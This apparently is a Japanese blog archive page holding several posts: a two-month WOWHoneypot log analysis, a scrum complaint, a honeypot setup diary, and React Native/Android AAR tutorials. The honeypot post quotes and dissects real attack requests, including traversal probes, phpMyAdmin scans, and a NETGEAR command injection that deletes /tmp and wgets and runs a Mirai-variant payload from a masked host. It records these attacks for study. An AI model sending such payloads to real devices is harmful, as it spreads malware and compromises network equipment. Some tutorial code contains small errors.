WOWHoneypotを運用して2ヶ月たったのでまとめ

Honeypotとは

Welcome to Omotenashi Web Honeypotの略
攻撃者をもてなし、サイバー攻撃を観察できるハニーポット

github.com

 

WOWHoenypotの特徴

主な仕組み

  • デフォルト200 OK
    400系のエラーコードを返すと、攻撃者は通信を止めてしまうため、取れる情報が少ない→ 200 OKを返すことで、攻撃対象が存在すると誤認させる

  • マッチ&レスポンス
    特定の通信に対して、特定の応答をするシグネチャを定義しておくことでハニーポットだと気づかれにくくする
    →(例:URIにwp-login.phpという文字列が含まれていたら、WordPressのログインページを装う)

WOWHoenypotの応答の様子

やったこと

  1. WOWHoneypotを外部IPアドレスの80番ポート(*)で公開
    (*)実際には権限の少ないユーザ権限を使い8080ポートで動作させ、80→8080へ転送
  2. HTTPリクエストをログファイルに保存
    集計期間 2ヶ月 (2023 07.18-09.17)

  3. ログを集計・分析
    合計アクセス数は19305回

結果

リクエストメソッドごとの観測回数

思ったこと

GETとPOSTは多いのは当たり前として、CONNECTとHEADが多いのが気になる

 

CONNECTメソッドの観測理由

踏み台にするプロキシサーバを探索している

 

HEADメソッドの観測理由

ログ

HEAD /icons/sphere1.png
HEAD /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png
HEAD /icons/.%2e/%2e%2e/apache2/icons/sphere1.png

Apacheのiconsフォルダへのディレクトリトラバーサル攻撃などが主な原因

 

アクセスURLごとの観測回数

 

観測回数の多かったアクセスログ

Headerのみを変えた /manager/htmlへのGET

ログ

GET /manager/html HTTP/1.1

 

(*) ユーザ名:パスワード , Base64でデコード済

上記アクセスは約53秒に140回
Tomcatの管理サーバへの侵入を試みたブルートフォース攻撃を仕掛けている

気になった攻撃ログ「GET /manager/html HTTP/1.1」 - まいほびー

 

観測回数の多かったアクセスログ

phpMyAdmin脆弱性を利用した攻撃

phpMyAdminとは:PHPで実装されたMySQL管理のためのWebアプリケーション

ログ

GET http://*.*.*.*/phpMyAdmin/scripts/setup.php
GET http://*.*.*.*/phpMyadmin/scripts/setup.php
GET http://*.*.*.*/myAdmin/scripts/setup.php
GET http://*.*.*.*/MyAdmin/scripts/setup.php
GET http://*.*.*.*/SQL/scripts/setup.php

phpMyAdminを狙った攻撃を深追いしてみた - こんとろーるしーこんとろーるぶい

 

→探索により対象の存在を確認した上で、外部のFTPサーバから不正なPHPを実行しようとしている

 

観測回数の多かったアクセスログ

ネットワーク機器を狙ったOSコマンドインジェクション

ログ

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://*.*.*.*/ Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

  • /setup.cgi? の部分
    実行するスクリプト名を定義している
  • next_file=netgear.cfg& の部分

    NETGEAR社のNW機器の設定ファイルを狙った攻撃だとわかる

  • todo=syscmd&cmd=rm+-rf+/tmp/*; の部分

    ディレクトリ内の全てのファイルとディレクトリを削除しようとしている

  • wget+http://*.*.*.*/Mozi.m+-O+/tmp/netgear;の部分

    特定のURLからMozi.m(*)というファイルをダウンロードし/tmp/netgearとして保存しようとしている

  • sh+netgear&curpath=/&currentsetting.htm=1の部分

    ダウンロードしたファイルをシェルスクリプトとして実行させようとしている

    (*) マルウェア「Mirai」の亜種

→ ハードウェア (OS) に対して、マルウェアをダウンロードさせコマンド実行させようとしている

 

感想

参考文献

弊チームのスクラムのモヤモヤ

この投稿について

今のプロジェクトのスクラムに悩みを抱えており、日々問題は大きくなっていると感じる。タイトルに「スクラム」って書いたが、現状スクラムではないと思っている。

具体的な解決には至っておらず、モヤモヤを吐き出すだけのエントリ。 

 

今のプロジェクトについて

新規案件で、立ち上げから1年未満。 案件規模はでかい。私には想像できないくらいのお金がかかっているらしい。

 

私について

2年目。フルスタックエンジニア(...なのか?)
今のプロジェクトには開発初期から関わっている。スクラム歴は1年くらい。

 

チームの構成

開発者8人、スクラムマスター1人、PO 5人くらい(???あとで説明する)

 

今のチームの課題

  • ストーリーポイントの誤用
    リリース時期と、リリース間でに必要な開発要件がかっちり決まっており、変更が許されない。ちなみにこれは開発者が口出しできない天上人で決められた決定事項である。これがあるため、本来ベロシティを図るための指標であるポイントが、ノルマとして使われている
    (例「このスプリントでは何がなんでも〇〇ポイント消化してね」)。

  • 厳格な時間管理
    上述した厳格なスケジュール管理が起因して、厳格な時間管理をしている。どういうことかというと、タスクばらしの時に見積もったタスク単位の時間と、開発者が開発に充てられる時間を日々比較して、ノルマを達成可能かを見ている。
    時間管理に関しては、目安として使うのであれば悪くはないと思うが、大きく2つの問題を生み出している。
    1つは、タスクバラシ時点で明らかに時間が足りないと分かっていても、ポイントは減らせないので、後述する必要な作業時間を削って時間を捻出したり、過度な残業でリカバリしていることである(ちなみに、計算時の稼働時間自体も残業前提で計算)。
    2つ目は、進捗が芳しくないと、1日の終わりにPOに対応策を伝える会を開催しなければならず、それ自体が無駄である。
  • セレモニーに全員で出ない
    残業前提でも時間が足りないので、どうするかというと、セレモニーの参加者を一部メンバーに限定するということを行なっている。
    特に、リファインメントに一部のメンバーだけが参加しているのが問題を産んでいる。というのも、一般的なリファインメントは2〜3スプリントのポイント見積もりだが、上述したようにリリース時期が決まっているため、リリースまでのバックログ全部のポイント見積もりをしている。
    それにはそれなりに時間を要するが、それも一部の開発メンバーで行なっているため、開発者間でも凄まじい情報格差を生み出している。
    共有をしなければならないが、厳密な時間管理をしているせいで、その時間がどこにもない。

  • レトロスペクティブを2スプリントに1回しかやらない
    贅沢なことに、一つだけ全員での参加が許されているセレモニーがある。レトロスペクティブである(当たり前)。しかし、残念ながら、これもスケジュールの観点で、2スプリントに1回しか許されていないし、その1回も1時間でやらなければならない。だから、問題が生じていても、改善が遅れるし、改善できない。

  • POが実質ステークホルダ
    POがプロダクトバックログを管理しておらず(システム知識がなく、できないためだと思われる)、バックログ開発者が管理して、POに説明をする。POは要望を言う立場(=ステークホルダ)。
    また、なぜかPOが5人くらいいて、あまり連携が取れていないのか、要件を質問してもスムーズな応答がないことがしばしばある。

終わりに

どれも深刻な問題で、本当はチームで話し合って、改善していかなればいけないが、レトロができないためブログで吐き出してみた。当然私個人も一開発者として、原因の一つであり、どういう行動をしていくかはこれから考えて行かなければならない。

一旦吐き出してスッキリしたので、今後何かアクションを起こしてみようと思う。


同じような悩みを抱えている方、このように解決した!などありましたらコメントお願いしますm(_ _)m

ハニーポット運用日記 ~その1~

概要

ハニーポットを運用してみたくなったのでしてみようという日記です。 本記事ではハニーポットの概要説明、サーバのレンタル、ログ分析用のElasticsearch、kibanaの導入までを行います。

ハニーポットとは

①運用者がVPSとかにハニーポットを作る
②攻撃者がハニーポットに攻撃を仕掛ける
ハニーポットがログを出力する
ハニーポット運用者(※1)がログを観察する
運用者がログを観察することで、どのような攻撃が仕掛けられるか分析することができる。

(※1) ハニーポットの運用者は巷ではハニーポッターと呼ばれるらしい

ハニーポットの運用時に気を付けること

ハニーポットの種類

脆弱性があるように見せかけつつ脆弱性を作らないようなシステムを構築する必要がある。 初心者がそれを一から構築するのは無理なので、ハニーポットツールを利用するのが一般的。

用途別にいろいろある。以下にツール例と特長をまとめる。

ツール名 特徴
T-Pot 複数のハニーポット技術を統合しており、侵入者とのやり取りを最大限に引き出すことができるオープンソースハニーポット
Cowrie SSHTelnetサーバのエミュレータで、攻撃者がシステムにログインしたと思わせることができる。
Kippo Cowrieの前身であり、現在はあまり使われていないSSHサーバのエミュレータ
Honeyd ネットワークの脆弱性スキャンのシミュレーションに特化したハニーポット
Dionaea 主にマルウェアを収集することを目的としており、複数のプロトコルとサービスをエミュレートし、侵入者との対話を可能にする。
Glastopf ウェブアプリケーションハニーポットであり、ウェブベースの攻撃を検出することに特化している。
Snort オープンソースの侵入検出・防御システム (IDS/IPS)。ネットワークトラフィックを監視し、不正アクセスや攻撃を検出する。ハニーポットとしても使用することができる。

レンタルサーバについて

syn-ack.hatenablog.com

規約を確認した限り、特にハニーポットの利用を禁止するような文言はなかったのでさくらVPSを利用することにしました。
ただし、他のユーザーやインターネット上の他のシステムに影響を与えないよう、十分なセキュリティ対策を講じる必要があります。

さくらVPSは2週間のお試し期間があるので、初めて試すには都合がよいと思います。

https://faq.sakura.ad.jp/s/article/000001231

  • サーバのスペック ハニーポット自体を動かすだけであれば1GB等の低メモリで十分ですが、 それ以上に重要なのがログ分析です。 ハニーポットのログ分析には Elasticsearch、Kibana、Logstash(以下で説明) が使われていることが多いようです。

Elasticsearchが動く要件はRAM2G以上なので、さくらVPSで4GBのサーバー(Ubuntu)をレンタルすることにしました。

サーバのレンタルから手元の環境からログイン

  • サーバのレンタル まず、さくらのVPSに新規登録します。登録したら、新規追加からサーバの作成をします。

  • 管理ユーザのパスワードの設定 管理ユーザ名はデフォルトでubuntuです。管理ユーザのパスワードは、ubuntuユーザのパスワードという意味です。 入力したら、「管理ユーザーのパスワードをダウンロード」をしておきましょう。

  • 公開鍵の設定 お手元の環境でssh鍵を作っておきましょう。以下はmyhoneypodという名前の鍵を作っている例です。

ssh-keygen -t rsa -b 4096 -f ~/.ssh/myhoneypod

作成したら、myhoneypod.pod(自身で設定した名前)の中身を以下に入力します。

後は支払い方法の選択等をします。

作成できたら、手元のLinux環境(WindowsユーザはWSLなど)で、作成したサーバにログインします。

ssh -i ~/.ssh/myhoneypod ubuntu@IPアドレス

以下は、サーバにログインした前提で進めていきます。

Logstash、Elasticsearch、Kibanaの準備

  • Logstash、Elasticsearch、Kibanaとは www.elastic.co

  • Logstash イベントを監視し、ログをしかるべき場所に出力するツール

  • Elasticsearch オープンソースで開発されている分散型データベースシステム

  • Kibana Elasticsearch内に格納されているデータを可視化できるツール

  • Logstashのインストール

apt install logstash

が、レンタルサーバの場合だとlocalhostにアクセスするところで詰まるので、設定を加えてあげる必要があります。

sudo vi /etc/elasticsearch/elasticsearch.yml
#network.host: 192.168.0.1
network.host: 0.0.0.0

level69.net

ここまでで、Elasticssearch、kibanaのインストールが完了しました。 次回は、実際にこれらを活用してログを可視化してみたいと思います。

参考

Android製アプリからReact Native製のアプリを呼び出してさらにAndroid製のアプリを呼ぶ

やりたいこと

Android製のアプリから呼ぶReact Nativeが、別のAndroidアプリ(aar形式)を呼んでても問題ないかを検証したいです。

成果物

やりたいことのイメージ

やりたいことを図で示すとこんな感じ

頭の中のもやもや

クロスプラットフォームをうたっているReact Nativeなのでえきそうですが、私の頭の中には以下のもやもやがありました。

図は開発者が触れる形式でのファイル形式を示しています。
アプリBとアプリCはできていてそれをSDKとして配布することを考えていて、アプリAは全く知らない人が作るイメージです。そのため、アプリBとアプリCはソースコードではなくパッケージ化する必要があります。

~もやもや~
①React NativeのBundleとaarの関連 React Nativeはjsコードとネイティブコードがあるので、生成物はバンドルファイルとaarファイルの2つ。React Nativeプロジェクト内ではReact Native→Android の呼び出しができることを以下記事で確認したけど、それぞれパッケージとして分離したときにブリッジ呼びだしとかどうなる?

②アプリCのaarの依存関係はアプリA/Bどちらに持たせるか アプリCのAARはアプリBに依存関係を持たせる?アプリAに依存関係を持たせる?(どっちのbuild.gradleに書く?)

③そもそもできるの?本当に?

結論

③→できる

①React NativeのBundleとaarの関連 アプリA側で適切に呼べば、アプリBのBundleファイルとaarファイルの関係性は意識しなくて大丈夫でした。
React Nativeのブリッジに使うネイティブコードをaar化したとしても、それはもうただのaar(部品) ただし、アプリAでブリッジの依存関係をgradleに記述する必要があります。

②アプリCのaarの依存関係はアプリA/Bどちらに持たせるか
アプリAに持たせる(アプリBには持たせなくてよい)でできました。
※アプリBのネイティブコードに入れられればアプリAからアプリCを意識しなくてよいので、そちらの方がよいかも。(後日検証します)

ーーーーーーーーーー
(現状)
普通にやると以下のエラー

Direct local .aar file dependencies are not supported when building an AAR. The resulting AAR would be broken because the classes and Android resources from any local .aar file dependencies would not be packaged in the resulting AAR

ローカルMavenリポジトリにaarファイルをインストールし、プロジェクトに依存関係を追加すればできるかもしれない
ーーーーーーーーーー

やり方

Ⅰ. アプリCを作成

aar化するため、New ModuleからAndroid Libraryとして作成。パッケージ名はappCLibraryとします。

  • AppCActivity.javaを作成 アプリCの起動用のアクティビティ
package com.example.appclibrary;

import android.os.Bundle;
import android.widget.TextView;

import androidx.appcompat.app.AppCompatActivity;

public class AppCActivity extends AppCompatActivity {

    private TextView textView;
    private boolean buttonTap = false;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
}
  • aar化 ライブラリのルート(/appCLibrary)
./gradlew :appCLibrary:build

Ⅱ. アプリBを作成

  • ネイティブ部分のライブラリを用意 パッケージ名はappBLibrary。手順はappCと同様。

ビルド時にエラーにならないようにするため、build.gradleに以下を追加

implementation "com.facebook.react:react-native:+" // From node_modules

com.facebook.react:react-native:を使えるようにするためにreact nativeプラグインが必要となるため、その方法については下記記事参照。 teisyoku-tabetai.hatenablog.com

  • appBLibraryのjava.com.appblibraryにModuleとPackageを追加

  • CallAppCModule.java

package com.example.appBLibrary;

import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;

import java.util.HashMap;
import java.util.Map;
import android.content.Context;
import android.content.Intent;

public class CallAppCModuleextends ReactContextBaseJavaModule {

    private static final String REACT_CLASS = "CallAppC";
    private final ReactApplicationContext reactApplicationContext;

    public AndroidScreenModule(ReactApplicationContext reactApplicationContext) {
        super(reactApplicationContext);
        this.reactApplicationContext = reactApplicationContext;
    }

    @Override
    public String getName() {
        return "CallAppC";
    }

    @ReactMethod
    public void moveAndroidScreen() throws InterruptedException {
        Intent intent = new Intent();
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.setClassName(reactApplicationContext, "com.example.appclibrary.AppCActivity "); // アプリCの起動用モジュールを設定
        reactApplicationContext.startActivity(intent);
    }
}
  • CallAppCPackage.java
package com.example.appBLibrary;

import com.facebook.react.ReactPackage;
import com.facebook.react.bridge.NativeModule;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.uimanager.ViewManager;

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

public class CallAppCPackage implements ReactPackage {

    @Override
    public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) {
        return Collections.emptyList();
    }

    @Override
    public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) {
        List<NativeModule> modules = new ArrayList<>();
        modules.add(new CallAppCModule(reactContext));
        return modules;
    }
}
  • AAR化
./gradlew :appBLibrary:build
  • App.tsxを用意
import React from 'react';
import { Text, Button, NativeModules, View, StyleSheet } from 'react-native';

const { CallAppC } = NativeModules;

export default function App() {

  const onPressExampleButton = () => {
    CallAppC.moveAndroidScreen();
  };

  

  return (
    <View style={styles.container}>
      <Text style={styles.text}>アプリB</Text>
      <Text style={styles.text}>React Native</Text>
      <Button  title="アプリCへ遷移" onPress={onPressExampleButton} />
    </View>
  );
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
  },
  text: {
    fontSize: 20,
    textAlign: 'center',
    margin: 30,
  },
})
  • バンドル化
npx react-native bundle --platform android --dev false --entry-file index.js --bundle-output android/app/src/main/assets/index.android.bundle --assets-dest android/app/src/main/res

Ⅲ. アプリAを作成

MyApplicationというプロジェクトで作成

  • MainAcivity.java 起動用のクラス。
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.widget.Button;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {

    private TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button button = findViewById(R.id.button);

        textView = findViewById(R.id.text_view);

        button.setOnClickListener( v -> {
                this.onClick();
        });
    }

    public void onClick() {
        Intent intent = new Intent();
        intent.setClassName(getApplicationContext(), "com.example.appblibrary.MyReactActivity");
        startActivity(intent);
    }
}
  • MyReactNativeActivity React Native起動用のクラス
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.widget.Button;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {

    private TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button button = findViewById(R.id.button);

        textView = findViewById(R.id.text_view);

        button.setOnClickListener( v -> {
                this.onClick();
        });
    }

    public void onClick() {
        Intent intent = new Intent();
        intent.setClassName(getApplicationContext(), "com.example.myapplication.MyReactActivity");
        startActivity(intent);
    }
}
  • MyReactActivity(【※重要】) React NativeのBundleファイルを登録するActivity。 ★で示したところにjsと通信するネイティブコードのPackageを追加することで、React Nativeのブリッジを使用することができます。
package com.example.myapplication;

import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;

import com.facebook.react.PackageList;
import com.facebook.react.ReactInstanceManager;
import com.facebook.react.ReactPackage;
import com.facebook.react.ReactRootView;
import com.facebook.react.common.LifecycleState;
import com.facebook.react.modules.core.DefaultHardwareBackBtnHandler;
import com.facebook.soloader.SoLoader;

import java.util.List;


public class MyReactActivity extends Activity implements DefaultHardwareBackBtnHandler {
    private ReactRootView mReactRootView;
    private ReactInstanceManager mReactInstanceManager;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        SoLoader.init(this, false);

        mReactRootView = new ReactRootView(this);
        List<ReactPackage> packages = new PackageList(getApplication()).getPackages();
        // Packages that cannot be autolinked yet can be added manually here, for example:
         packages.add(new com.example.appblibrary.CallAppCPackage ());  //★ アプリBネイティブコードのパッケージを登録
        // Remember to include them in `settings.gradle` and `app/build.gradle` too.

        mReactInstanceManager = ReactInstanceManager.builder()
                .setApplication(getApplication())
                .setCurrentActivity(this)
                .setBundleAssetName("index.android.bundle")
                .setJSMainModulePath("index")
                .addPackages(packages)
                .setUseDeveloperSupport(true)
                .setInitialLifecycleState(LifecycleState.RESUMED)
                .build();
        // The string here (e.g. "MyReactNativeApp") has to match
        // the string in AppRegistry.registerComponent() in index.js
        mReactRootView.startReactApplication(mReactInstanceManager, "integratedAndroidScreen", null);

        setContentView(mReactRootView);
    }

    @Override
    public void invokeDefaultOnBackPressed() {
        super.onBackPressed();
    }

}
  • 作成した2つのaarをapp/libs以下に配置

  • アプリAのgradleにアプリB、アプリCの依存関係を追加

implementation files('libs/appBLibrary-release.aar')
implementation files('libs/appCLibrary-release.aar')

まとめ

aarは部品と思ってしまえばよい。アプリA側でやることは以下になりそう。
- app/libsにaar配置
- build.gradleに依存関係を追記
- src/main/assets/にbundleファイルを追加
- ①バンドルフィルを呼ぶ、と②React Nativeのブリッジに使用するパッケージをPackage.addに書くためのActivityを追加(わんちゃん、これもアプリBのパッケージに含めてしまえばよい...?)

React Nativeからaar形式のアプリを呼び出す

やりたいこと

aar形式のアプリケーションが配布されてて、それをReact Nativeアプリから呼び出したい。

完成したもの

そもそもaarとは

Androidアプリケーションやライブラリプロジェクトを配布するためのバイナリ形式。
Androidライブラリプロジェクトのコンパイル済みコード、リソース、およびメタデータを1つのアーカイブにまとめたもの。 これにより、再利用可能なコンポーネントを簡単に他のAndroidアプリケーションに組み込むことができる。

やってみる

3つの手順に分けて説明していきます。

Ⅰ. Androidで画面遷移を作る
Ⅱ. 遷移先の画面をAAR化
Ⅲ. 遷移前の画面をReact Nativeにする

いきなりReact NativeからAARを呼び出したらなんだかもやっとなりそうなので、

Ⅰ. AndroidJava)コード→AndroidJava)コード
Ⅱ. AndroidJava)コード→AAR
Ⅲ. React Nativeコード→AAR

と段階を踏んでいきますが、周りくどかったら思いっきり下までスクロールしてください。

Ⅰ. Androidで画面遷移を作る

  1. Android Studioでアンドロイドプロジェクトを作成 File → New → New Project

  2. モジュールを作成 File → New Module → Android Library

プロジェクト直下に、上で指定した名前のライブラリができていればok。(以下mylibraryとして説明)

appディレクトリ配下にも通常通りJavaファイルを置けるが、aar形式に変換されるのは「mylibrary」以下のもの。
なので、ライブラリ化したコードは「mylibrary」のsrcディレクトリに入れる。

  1. モジュールに画面を書いてみる aar化する前にプロジェクトのソースディレクトリ(app/src/)のコードからモジュールの画面を呼び出してみたいと思います。(蛇足的かもしれませんが) 今はモジュールってなに?状態なので普通にコード書けるよ(aarに変換できる場所ってだけだよ)ってことを確かめてみたかったので。

「mylibrary/java/com/example/mylibrary/」以下にModule用のActivityを作成します。

package com.example.mylibrary;

import android.os.Bundle;
import android.widget.TextView;

import androidx.appcompat.app.AppCompatActivity;

public class ModuleActivity extends AppCompatActivity {

    private TextView textView;
    private boolean buttonTap = false;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
}

なんの変哲もないActivityです。

AndroidManifest.xmlとresフォルダも作ります。
AndroidManifest.xmlは以下。resは割愛

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">
    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        tools:targetApi="31">
        <activity
            android:name="com.example.mylibrary.ModuleActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

次に、いったんModuleから離れてプロジェクトのディレクトリ(「/app/java/com/example/aarlibrary」)にmylibrary以下のコードを呼び出すActivityを書きます。

package com.example.aarlibrary;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.widget.Button;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {

    private TextView textView;
    private boolean buttonTap = false;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button button = findViewById(R.id.button);

        textView = findViewById(R.id.text_view);

        button.setOnClickListener( v -> {
            this.onClick();
        });
    }

    public void onClick() {
        Intent intent = new Intent();
        intent.setClassName(getApplicationContext(), "com.example.mylibrary.ModuleActivity");
        startActivity(intent);
    }
}

layoutフォルダもちろっといじりましたが、appディレクトリの画面からモジュールの画面を呼ぶことができました。

ここから遷移元の画面をReact Nativeにしていきます。 後、遷移先の画面はまだaar化していませんが、これからaar化していきます。

Ⅱ. AndroidモジュールをAAR化

  1. build.gradleの設定変更 ビルド時にAPKではなくAARファイルで出力するために、app/build.gradleに以下の設定をします。

  2. applicationIdを削除する

  3. pluginsブロックで宣言されているidを'com.android.application'から'com.android.library'にする
plugins {
    id 'com.android.library' // after
//    id 'com.android.application' //before
}
android {
  ... 
  defaultConfig {
  // applicationを削除
  ...
   }
}
  1. ビルドする プロジェクトのルートディレクトリで以下を実行
./gradlew clean build

ビルドに成功すれば、mylibrary/build/outputs/aar以下にaarファイルが出力されていると思います。

  1. Androidからaarを呼ぶ 今までは同一プロジェクトのネイティブコードから画面を呼んでいましたが、ここからはaarを呼びます。 といってもやることはたったの2つです。

  2. aarを配置

  3. gradleに依存関係を追記 -(後は呼び出すだけ)

まず、aarを呼びたいプロジェクトのapp/libs配下にaarファイルをコピーします。 もしこの記事と同じ手順でやっている方がいたら、プロジェクトは新しく作っても、先のプロジェクトからモジュール部分を削除して使ってもよいです。

次にapp/gradleに以下を記述します。

implementation files('libs/mylibrary-release.aar')

最後に、画面を呼び出すActivityで呼び出すクラス名を変更します。 クラス名はAARのパッケージ名に合わせます。

intent.setClassName(getApplicationContext(), "com.example.mylibrary.ModuleActivity"); 

これで、aarファイルから画面を呼び出すことができました。

Ⅲ. React NativeからAARを呼び出す。

React NativeからAARを呼び出すと書きましたがブリッジの仕組みを使えば
①React NativeからAndroidのネイティブコードを呼び出して
AndroidからAARを呼び出す
に言い換えられます。 ②はもうクリアしています。 また、①は以下の記事で説明させていただいているのでご参照ください。 teisyoku-tabetai.hatenablog.com

なのであとはやるだけになります。

  1. aarをReact Nativeプロジェクトに配置後、Gradleの依存関係を追加 aarをandroid/app/libs以下に格納。 app/build.gradleに以下を追加
implementation files('libs/mylibrary-release.aar')
  1. android/java/com/xx/に必要なネイティブコードを追加

  2. AndroidScreenModule

package com.integratedandroidscreen;

import java.util.HashMap;
import java.util.Map;

import android.content.Intent;
import androidx.annotation.NonNull;

import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import com.facebook.react.bridge.Callback;
import com.facebook.react.bridge.Promise;
import com.facebook.react.bridge.WritableMap;
import com.facebook.react.bridge.Arguments;
import com.facebook.react.modules.core.DeviceEventManagerModule;

public class AndroidScreenModule extends ReactContextBaseJavaModule {

    private static final String REACT_CLASS = "AndroidScreen";
    private final ReactApplicationContext reactApplicationContext;

    public AndroidScreenModule(ReactApplicationContext reactApplicationContext) {
        super(reactApplicationContext);
        this.reactApplicationContext = reactApplicationContext;
    }

    @Override
    public String getName() {
        return "AndroidScreen";
    }

    @ReactMethod
    public void moveAndroidScreen() throws InterruptedException {
        Intent intent = new Intent();
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.setClassName(reactApplicationContext, "com.example.mylibrary.ModuleActivity");
        reactApplicationContext.startActivity(intent);
    }
}
  • AnndroidScreenPackage
package com.integratedandroidscreen;

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

import com.facebook.react.ReactPackage;
import com.facebook.react.bridge.NativeModule;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.uimanager.ViewManager;

public class AndroidScreenPackage implements ReactPackage {

    @Override
    public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) {
        return Collections.emptyList();
    }

    @Override
    public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) {
        List<NativeModule> modules = new ArrayList<>();
        modules.add(new AndroidScreenModule(reactContext));
        return modules;
    }
}
  • MainApplication
@Override
        protected List<ReactPackage> getPackages() {
          @SuppressWarnings("UnnecessaryLocalVariable")
          List<ReactPackage> packages = new PackageList(this).getPackages();
            packages.add(new AndroidScreenPackage());  // ★ここだけ追加
          return packages;
        }

実行

npx react-native run-android

するといくつかのエラーが派生。

  • エラー①
* What went wrong:
Execution failed for task ':app:processDebugMainManifest'.
> Manifest merger failed : Attribute application@allowBackup value=(false) from AndroidManifest.xml:12:7-34
        is also present at [mylibrary-release.aar] AndroidManifest.xml:9:9-35 value=(true).
        Suggestion: add 'tools:replace="android:allowBackup"' to <application> element at AndroidManifest.xml:7:5-12:19 to override.

aarのAndroidManifest.xmlとプロジェクトのものが競合してるらしく、applicationに以下を追加で解決。

<application
  ...
  tools:replace="android:allowBackup"
  ...
>
  • エラー②
 uses-sdk:minSdkVersion 21 cannot be smaller than version 24 declared in library [mylibrary-releas.aar] 

Sdkのバージョンがaarでは最低24なのにReact Nativeの方で21になっているというエラーのため、build.gradleのbuildscript部分を下記のように変更

buildscript {
  ext {
    ...
    minSdkVersion = 24 // 修正後
    ...
  }
}
  • エラー③
* What went wrong:
Execution failed for task ':app:processDebugResources'.
> A failure occurred while executing com.android.build.gradle.internal.res.LinkApplicationAndroidResourcesTask$TaskAction
   > Android resource linking failed
     ERROR:C:\xxx\integratedAndroidScreen\android\app\build\intermediates\incremental\debug\mergeDebugResources\merged.dir\values\values.xml:2170: AAPT: error: resource attr/colorPrimaryVariant (aka com.integratedandroidscreen:attr/colorPrimaryVariant) not found.

androidアプリの画面作成に必要なマテリアルが見つからないというエラーのため、以下の依存関係(aar化したgradleには存在していた)を追加で解決。

implementation 'com.google.android.material:material:1.8.0'

以上までで、冒頭に示したようにReact Nativeからaar形式のアプリ呼び出しを実現できることができました。 React Nativeへのaar組み込みはできるにはできますが、バージョンの互換性だったりbuild.gradleの依存関係だったりには少し注意を払う必要がありそうです。

参考文献

qiita.com

pursue.fun

React NativeからAndroid呼び出し(Java)

やりたいこと

React NativeからAndroidの画面を呼び出したいです。

実現したいこと

React Native(JavaScript)の画面からAndroidJava)の画面に遷移したいです。

ネイティブモジュールを使えばできそうですが、Androidアプリの開発経験すらない初心者ですので、やってみます。 reactnative.dev

全体の流れ

経験者の方には「ネイティブモジュールを使って画面遷移なんて簡単じゃん」と思われそうですが、 当方React NativeはおろかAndroidアプリの開発経験すらないので、あまりイメージが湧きません。 そこで、 Ⅰ. ネイティブモジュールを呼び出してみて Ⅱ. ネイティブモジュールで画面遷移をする という流れで進めていきたいと思います。

以下はReact Nativeのプロジェクトが作成されている前提ですので、プロジェクトがない場合はこちら等をご参照ください。 teisyoku-tabetai.hatenablog.com

Ⅰ. ネイティブモジュール呼び出し

ネイティブモジュールとして呼び出すネイティブコードは、Androidの場合android/app/src/main/java/com/プロジェクト名/ 配下にあります。]

初期の時点で、MainActivity.javaファイルとMainApplication.javaがありますが、それぞれの意味はざっくり以下です。

  • MainActivity:React Nativeアプリケーションの起動を制御。アプリケーションのエントリーポイントとなるReactコンポーネントを指定する役割を果たす。
  • MainApplication:React NativeプロジェクトのAndroidアプリケーションレベルの設定と初期化を行う。

Androidプロジェクトでアプリケーションを作成する場合、MainActivityは起動する画面になりますが、React Nativeプロジェクトの場合はReact Nativeの画面に関係、つまりAndroidとして別の画面を作るなら別のActivityに書くよ、ということが伝わればここではOKです。

  1. App.tsxの作成 まず、以下のようなApp.tsxを作成
import React from 'react';
import { Text, Button, NativeModules, View, StyleSheet } from 'react-native';

const { AndroidScreen } = NativeModules; //ネイティブモジュール読み込み

export default function App() {

  const onPressExampleButton = () => {
    AndroidScreen.getAnimalName((animal) => console.log(animal));
  };

  return (
    <View style={styles.container}>
